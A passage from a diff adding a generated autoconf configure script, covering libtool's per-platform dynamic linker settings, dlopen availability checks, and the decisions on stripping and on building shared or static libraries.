to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Ideally, we could use ldconfig to report *all* directores which are + # searched for libraries, however this is still not possible. Aside from not + # being certain /sbin/ldconfig is available, command + # 'ldconfig -N -X -v | grep ^/' on 64bit Fedora does not report /usr/lib64, + # even though it is searched at run-time. Try to do the best guess by + # appending ld.so.conf contents (and includes) to the search path. + if test -f /etc/ld.so.conf; then + lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s 2>/dev/null", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;/^[ ]*hwcap[ ]/d;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;s/"//g;/^$/d' | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then + library_names_spec='$libname$release$shared_ext$versuffix $libname$shared_ext$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +*nto* | *qnx*) + version_type=qnx + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='ldqnx.so' + ;; + +openbsd* | bitrig*) + version_type=sunos + sys_lib_dlsearch_path_spec=/usr/lib + need_lib_prefix=no + if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`"; then + need_version=no + else + need_version=yes + fi + library_names_spec='$libname$release$shared_ext$versuffix $libname$shared_ext$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +os2*) + libname_spec='$name' + version_type=windows + shrext_cmds=.dll + need_version=no + need_lib_prefix=no + # OS/2 can only load a DLL with a base name of 8 characters or less. + soname_spec='`test -n "$os2dllname" && libname="$os2dllname"; + v=$($ECHO $release$versuffix | tr -d .-); + n=$($ECHO $libname | cut -b -$((8 - ${#v})) | tr . _); + $ECHO $n$v`$shared_ext' + library_names_spec='${libname}_dll.$libext' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=BEGINLIBPATH + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + postinstall_cmds='base_file=`basename \$file`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\$base_file'\''i; $ECHO \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname~ + chmod a+x \$dldir/$dlname~ + if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then + eval '\''$striplib \$dldir/$dlname'\'' || exit \$?; + fi' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; $ECHO \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $RM \$dlpath' + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='$libname$release$shared_ext$major' + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + +rdos*) + dynamic_linker=no + ;; + +solaris*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='$libname$release$shared_ext$versuffix $libname$shared_ext$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test yes = "$with_gnu_ld"; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.3*) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec; then + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname$shared_ext.$versuffix $libname$shared_ext.$major $libname$shared_ext' + soname_spec='$libname$shared_ext.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) + version_type=sco + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + if test yes = "$with_gnu_ld"; then + sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' + else + sys_lib_search_path_spec='/usr/ccs/lib /usr/lib' + case $host_os in + sco3.2v5*) + sys_lib_search_path_spec="$sys_lib_search_path_spec /lib" + ;; + esac + fi + sys_lib_dlsearch_path_spec='/usr/lib' + ;; + +tpf*) + # TPF is a cross-target only. Preferred cross-host = GNU/Linux. + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + +uts4*) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5 +printf "%s\n" "$dynamic_linker" >&6; } +test no = "$dynamic_linker" && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test yes = "$GCC"; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +if test set = "${lt_cv_sys_lib_search_path_spec+set}"; then + sys_lib_search_path_spec=$lt_cv_sys_lib_search_path_spec +fi + +if test set = "${lt_cv_sys_lib_dlsearch_path_spec+set}"; then + sys_lib_dlsearch_path_spec=$lt_cv_sys_lib_dlsearch_path_spec +fi + +# remember unaugmented sys_lib_dlsearch_path content for libtool script decls... +configure_time_dlsearch_path=$sys_lib_dlsearch_path_spec + +# ... but it needs LT_SYS_LIBRARY_PATH munging for other configure-time code +func_munge_path_list sys_lib_dlsearch_path_spec "$LT_SYS_LIBRARY_PATH" + +# to be used as default LT_SYS_LIBRARY_PATH value in generated libtool +configure_time_lt_sys_library_path=$LT_SYS_LIBRARY_PATH + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5 +printf %s "checking how to hardcode library paths into programs... " >&6; } +hardcode_action= +if test -n "$hardcode_libdir_flag_spec" || + test -n "$runpath_var" || + test yes = "$hardcode_automatic"; then + + # We can hardcode non-existent directories. + if test no != "$hardcode_direct" && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test no != "$_LT_TAGVAR(hardcode_shlibpath_var, )" && + test no != "$hardcode_minus_L"; then + # Linking always hardcodes the temporary library directory. + hardcode_action=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + hardcode_action=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + hardcode_action=unsupported +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $hardcode_action" >&5 +printf "%s\n" "$hardcode_action" >&6; } + +if test relink = "$hardcode_action" || + test yes = "$inherit_rpath"; then + # Fast installation is not supported + enable_fast_install=no +elif test yes = "$shlibpath_overrides_runpath" || + test no = "$enable_shared"; then + # Fast installation is not necessary + enable_fast_install=needless +fi + + + + + + + if test yes != "$enable_dlopen"; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen=load_add_on + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32* | cegcc*) + lt_cv_dlopen=LoadLibrary + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen=dlopen + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5 +printf %s "checking for dlopen in -ldl... " >&6; } +if test ${ac_cv_lib_dl_dlopen+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. + The 'extern "C"' is for builds by C++ compilers; + although this is not generally supported in C code supporting it here + has little cost and some practical benefit (sr 110532). */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (void); +int +main (void) +{ +return dlopen (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_lib_dl_dlopen=yes +else case e in #( + e) ac_cv_lib_dl_dlopen=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5 +printf "%s\n" "$ac_cv_lib_dl_dlopen" >&6; } +if test "x$ac_cv_lib_dl_dlopen" = xyes +then : + lt_cv_dlopen=dlopen lt_cv_dlopen_libs=-ldl +else case e in #( + e) + lt_cv_dlopen=dyld + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; +esac +fi + + ;; + + tpf*) + # Don't try to run any link tests for TPF. We know it's impossible + # because TPF is a cross-compiler, and we know how we open DSOs. + lt_cv_dlopen=dlopen + lt_cv_dlopen_libs= + lt_cv_dlopen_self=no + ;; + + *) + ac_fn_c_check_func "$LINENO" "shl_load" "ac_cv_func_shl_load" +if test "x$ac_cv_func_shl_load" = xyes +then : + lt_cv_dlopen=shl_load +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for shl_load in -ldld" >&5 +printf %s "checking for shl_load in -ldld... " >&6; } +if test ${ac_cv_lib_dld_shl_load+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. + The 'extern "C"' is for builds by C++ compilers; + although this is not generally supported in C code supporting it here + has little cost and some practical benefit (sr 110532). */ +#ifdef __cplusplus +extern "C" +#endif +char shl_load (void); +int +main (void) +{ +return shl_load (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_lib_dld_shl_load=yes +else case e in #( + e) ac_cv_lib_dld_shl_load=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_shl_load" >&5 +printf "%s\n" "$ac_cv_lib_dld_shl_load" >&6; } +if test "x$ac_cv_lib_dld_shl_load" = xyes +then : + lt_cv_dlopen=shl_load lt_cv_dlopen_libs=-ldld +else case e in #( + e) ac_fn_c_check_func "$LINENO" "dlopen" "ac_cv_func_dlopen" +if test "x$ac_cv_func_dlopen" = xyes +then : + lt_cv_dlopen=dlopen +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5 +printf %s "checking for dlopen in -ldl... " >&6; } +if test ${ac_cv_lib_dl_dlopen+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. + The 'extern "C"' is for builds by C++ compilers; + although this is not generally supported in C code supporting it here + has little cost and some practical benefit (sr 110532). */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (void); +int +main (void) +{ +return dlopen (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_lib_dl_dlopen=yes +else case e in #( + e) ac_cv_lib_dl_dlopen=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5 +printf "%s\n" "$ac_cv_lib_dl_dlopen" >&6; } +if test "x$ac_cv_lib_dl_dlopen" = xyes +then : + lt_cv_dlopen=dlopen lt_cv_dlopen_libs=-ldl +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for dlopen in -lsvld" >&5 +printf %s "checking for dlopen in -lsvld... " >&6; } +if test ${ac_cv_lib_svld_dlopen+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_check_lib_save_LIBS=$LIBS +LIBS="-lsvld $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. + The 'extern "C"' is for builds by C++ compilers; + although this is not generally supported in C code supporting it here + has little cost and some practical benefit (sr 110532). */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (void); +int +main (void) +{ +return dlopen (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_lib_svld_dlopen=yes +else case e in #( + e) ac_cv_lib_svld_dlopen=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_svld_dlopen" >&5 +printf "%s\n" "$ac_cv_lib_svld_dlopen" >&6; } +if test "x$ac_cv_lib_svld_dlopen" = xyes +then : + lt_cv_dlopen=dlopen lt_cv_dlopen_libs=-lsvld +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for dld_link in -ldld" >&5 +printf %s "checking for dld_link in -ldld... " >&6; } +if test ${ac_cv_lib_dld_dld_link+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. + The 'extern "C"' is for builds by C++ compilers; + although this is not generally supported in C code supporting it here + has little cost and some practical benefit (sr 110532). */ +#ifdef __cplusplus +extern "C" +#endif +char dld_link (void); +int +main (void) +{ +return dld_link (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_lib_dld_dld_link=yes +else case e in #( + e) ac_cv_lib_dld_dld_link=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_dld_link" >&5 +printf "%s\n" "$ac_cv_lib_dld_dld_link" >&6; } +if test "x$ac_cv_lib_dld_dld_link" = xyes +then : + lt_cv_dlopen=dld_link lt_cv_dlopen_libs=-ldld +fi + + ;; +esac +fi + + ;; +esac +fi + + ;; +esac +fi + + ;; +esac +fi + + ;; +esac +fi + + ;; + esac + + if test no = "$lt_cv_dlopen"; then + enable_dlopen=no + else + enable_dlopen=yes + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS=$CPPFLAGS + test yes = "$ac_cv_header_dlfcn_h" && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS=$LDFLAGS + wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS=$LIBS + LIBS="$lt_cv_dlopen_libs $LIBS" + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether a program can dlopen itself" >&5 +printf %s "checking whether a program can dlopen itself... " >&6; } +if test ${lt_cv_dlopen_self+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test yes = "$cross_compiling"; then : + lt_cv_dlopen_self=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<_LT_EOF +#line $LINENO "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +/* When -fvisibility=hidden is used, assume the code has been annotated + correspondingly for the symbols needed. */ +#if defined __GNUC__ && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3)) +int fnord () __attribute__((visibility("default"))); +#endif + +int fnord () { return 42; } +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else + { + if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + else puts (dlerror ()); + } + /* dlclose (self); */ + } + else + puts (dlerror ()); + + return status; +} +_LT_EOF + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5 + (eval $ac_link) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && test -s "conftest$ac_exeext" 2>/dev/null; then + (./conftest; exit; ) >&5 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;; + x$lt_dlunknown|x*) lt_cv_dlopen_self=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self=no + fi +fi +rm -fr conftest* + + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self" >&5 +printf "%s\n" "$lt_cv_dlopen_self" >&6; } + + if test yes = "$lt_cv_dlopen_self"; then + wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\" + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether a statically linked program can dlopen itself" >&5 +printf %s "checking whether a statically linked program can dlopen itself... " >&6; } +if test ${lt_cv_dlopen_self_static+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test yes = "$cross_compiling"; then : + lt_cv_dlopen_self_static=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<_LT_EOF +#line $LINENO "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +/* When -fvisibility=hidden is used, assume the code has been annotated + correspondingly for the symbols needed. */ +#if defined __GNUC__ && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3)) +int fnord () __attribute__((visibility("default"))); +#endif + +int fnord () { return 42; } +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else + { + if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + else puts (dlerror ()); + } + /* dlclose (self); */ + } + else + puts (dlerror ()); + + return status; +} +_LT_EOF + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5 + (eval $ac_link) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && test -s "conftest$ac_exeext" 2>/dev/null; then + (./conftest; exit; ) >&5 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_dlunknown|x*) lt_cv_dlopen_self_static=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self_static=no + fi +fi +rm -fr conftest* + + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self_static" >&5 +printf "%s\n" "$lt_cv_dlopen_self_static" >&6; } + fi + + CPPFLAGS=$save_CPPFLAGS + LDFLAGS=$save_LDFLAGS + LIBS=$save_LIBS + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi + + + + + + + + + + + + + + + + + +striplib= +old_striplib= +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether stripping libraries is possible" >&5 +printf %s "checking whether stripping libraries is possible... " >&6; } +if test -z "$STRIP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +else + if $STRIP -V 2>&1 | $GREP "GNU strip" >/dev/null; then + old_striplib="$STRIP --strip-debug" + striplib="$STRIP --strip-unneeded" + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + else + case $host_os in + darwin*) + # FIXME - insert some real tests, host_os isn't really good enough + striplib="$STRIP -x" + old_striplib="$STRIP -S" + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + ;; + freebsd*) + if $STRIP -V 2>&1 | $GREP "elftoolchain" >/dev/null; then + old_striplib="$STRIP --strip-debug" + striplib="$STRIP --strip-unneeded" + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + fi + ;; + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + ;; + esac + fi +fi + + + + + + + + + + + + + # Report what library types will actually be built + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5 +printf %s "checking if libtool supports shared libraries... " >&6; } + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5 +printf "%s\n" "$can_build_shared" >&6; } + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5 +printf %s "checking whether to build shared libraries... " >&6; } + test no = "$can_build_shared" && enable_shared=no + + # On AIX, shared libraries and static libraries use the same namespace, and + # are all built from PIC. + case $host_os in + aix3*) + test yes = "$enable_shared" && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; + + aix[4-9]*) + if test ia64 != "$host_cpu"; then + case $enable_shared,$with_aix_soname,$aix_use_runtimelinking in + yes,aix,yes) ;; # shared object as lib.so file only + yes,svr4,*) ;; # shared object as lib.so archive member only + yes,*) enable_static=no ;; # shared object in lib.a archive as well + esac + fi + ;; + esac + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5 +printf "%s\n" "$enable_shared" >&6; } + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether to build static libraries" >&5 +printf %s "checking whether to build static libraries... " >&6; } + # Make sure either enable_shared or enable_static is yes. + test yes = "$enable_shared" || enable_static=yes + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5 +printf "%s\n" "$enable_static" >&6; } + + + + +fi +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC=$lt_save_CC + + + + + + + + + + + + + + + + ac_config_commands="$ac_config_commands libtool" + + + + +# Only expand once: + + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}windres", so it can be a program name with args. +set dummy ${ac_tool_prefix}windres; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_RC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$RC"; then + ac_cv_prog_RC="$RC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_RC="${ac_tool_prefix}windres" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi 